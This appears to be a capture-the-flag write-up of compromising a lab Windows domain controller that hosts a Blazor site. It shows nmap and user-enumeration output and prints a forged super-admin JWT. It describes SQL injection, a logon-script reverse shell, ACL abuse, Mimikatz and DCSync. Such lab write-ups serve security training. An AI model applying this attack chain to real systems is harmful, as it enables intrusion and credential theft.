This is a Windows Server 2019 machine hosting a web site made with Blazor, an ASP.NET framework for building WebAssembly-based sites. Enumerating the application we are able to retrieve vulnerable binary files and, after reversing them, find out how to create super admin access JWT tokens. Once inside the admin dashboard we use MSSQL injection to gain our first low-priv shell. Regarding escalation, we discover several permissive ACE's with Bloodhond and abuse them with PowerView to move laterally between domain users. Finally we land in a user account holding DCSync permissions, and we use it to root the domain.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 14:50 EDT
Nmap scan report for 10.10.11.22
Host is up, received user-set (0.060s latency).
Not shown: 43083 filtered tcp ports (no-response), 22440 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
3268/tcp open globalcatLDAP syn-ack
5985/tcp open wsman syn-ack
49664/tcp open unknown syn-ack
49673/tcp open unknown syn-ack
49692/tcp open unknown syn-ack
49776/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 54.88 seconds
Enumerate the open ports.
> nmap $target -p53,80,135,139,445,464,3268,5985 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 14:53 EDT
Nmap scan report for 10.10.11.22
Host is up, received user-set (0.038s latency).
Scanned at 2024-10-10 14:53:03 EDT for 19s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://blazorized.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 49214/tcp): CLEAN (Couldn't connect)
| Check 2 (port 33356/tcp): CLEAN (Couldn't connect)
| Check 3 (port 39093/udp): CLEAN (Failed to receive data)
| Check 4 (port 35591/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-10-10T18:53:46
|_ start_date: N/A
|_clock-skew: 29s
Nmap done: 1 IP address (1 host up) scanned in 19.90 seconds
Add to hosts file and enumerate the site with Firefox.
Add the subdomain to hosts file and enumerate with Firefox.
There is also a "Check for updates" section, if we click and inspect the traffic with Burpsuite, we capture a JWT token.
Decode the token to get an idea how they are formed. We discover they are signed using HS512 symmetric algorithm and also disclose super admin username.
USER
Let's continue inspecting the traffic with Burpsuite. There is a request for a blazor.boot.json that contains information about the application.
It can also be downloaded with Firefox, right click on the tab, click on "Inspect code" and add the path to the JSON file.
And used it to calculate expiration time (600 seconds from current time).
Entered this data in https://jwt.io, along with the wanted role and super admin email, so we calculate our forged token.
To use this token we load it in a Firefox tab using the console (F12). First we declare the token variable.
let token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJleHAiOjE3Mjg2NzAyODcsImlzcyI6Imh0dHA6Ly9hcGkuYmxhem9yaXplZC5odGIiLCJhdWQiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIn0.948SOVXlaqFPcCLwtwYD7ifsRfwyHHAmVUoqGLcPsr6PMCilxzNZZrpL-GjMkBlE3jRqipGWZtgYyra1_dtT-Q';
Start from the low-priv shell and take the opportunity to enumerate the user and the system.
> systeminfo
Host Name: DC1
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
System Type: x64-based PC
> net user
User accounts for \\DC1
-------------------------------------------------------------------------------
Administrator Guest krbtgt
LSA_3211 LSA_3212 LSA_3213
NU_1055 NU_1056 NU_1057
NU_1058 RSA_4810 RSA_4811
RSA_4812 RSA_4813 RSA_4814
SSA_6010 SSA_6011 SSA_6012
SSA_6013
The command completed successfully.
> net user nu_1055
User name NU_1055
Full Name NU_1055
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/25/2024 12:55:07 PM
Password expires Never
Password changeable 2/26/2024 12:55:07 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile C:\Users\NU_1055
Home directory C:\Users\NU_1055
Last logon 10/11/2024 9:37:11 AM
Logon hours allowed All
Local Group Memberships *IIS_IUSRS *Remote Management Use
Global Group memberships *Normal_Users *Domain Users
The command completed successfully.
> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Transfer a sharphound.exe ingestor to the host and enumerate the domain with Bloodhound. Use the previously list of usernames we have just enumerated and the Bloodhound path finding tool.
Now we can mark rsa_4810 as "Owned" in Bloodhound and continue enumerating. It seems both rsa_4810 and nu_1055 are members of the Remote Management Users group, along with another one called ssa_6010
If we continue enumerating this user we see he is one of the principals with DCSync rights, meaning he is candidate to our next lateral movement.
Enumerate the user's ACL from rsa_4810 shell using PowerView's Get-ObjectAcl cmdlet.
We see current user has write permissions over ssa_6010 script path, meaning we can add scripts that will be automatically executed when the user logs in.
Shortly after the user logs in again, the script is executed and a shell is received on port 1919.
From here we can launch a DCSync attack.
We do not know clear text password or hash of user ssa_6010 so cannot do it remotely with Impacket. So we will use a Mimikatz copy stored locally. Download a copy of invoke-mimikatz.ps1 with certutil and dot source the script.
